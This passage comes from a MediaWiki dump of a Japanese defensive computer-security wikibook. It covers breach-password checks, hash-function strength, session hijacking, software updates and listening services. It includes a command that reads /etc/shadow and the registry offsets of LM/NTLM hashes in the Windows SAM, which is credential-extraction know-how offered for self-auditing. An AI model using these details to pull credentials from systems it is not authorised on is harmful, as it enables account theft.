* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>rskklms5e6hxjojmo68xo18r94s3job</sha1>
    </revision>
    <revision>
      <id>305236</id>
      <parentid>305235</parentid>
      <timestamp>2026-11-01T00:58:51Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305236</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="93877" sha1="n01n5b5sd57ddt0jmq2l4b1iwkd4gn7" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化ではパディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;や暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;によってそれを抜き出すことが行われています。

なおアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、無効になってないかを確認しましょう。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
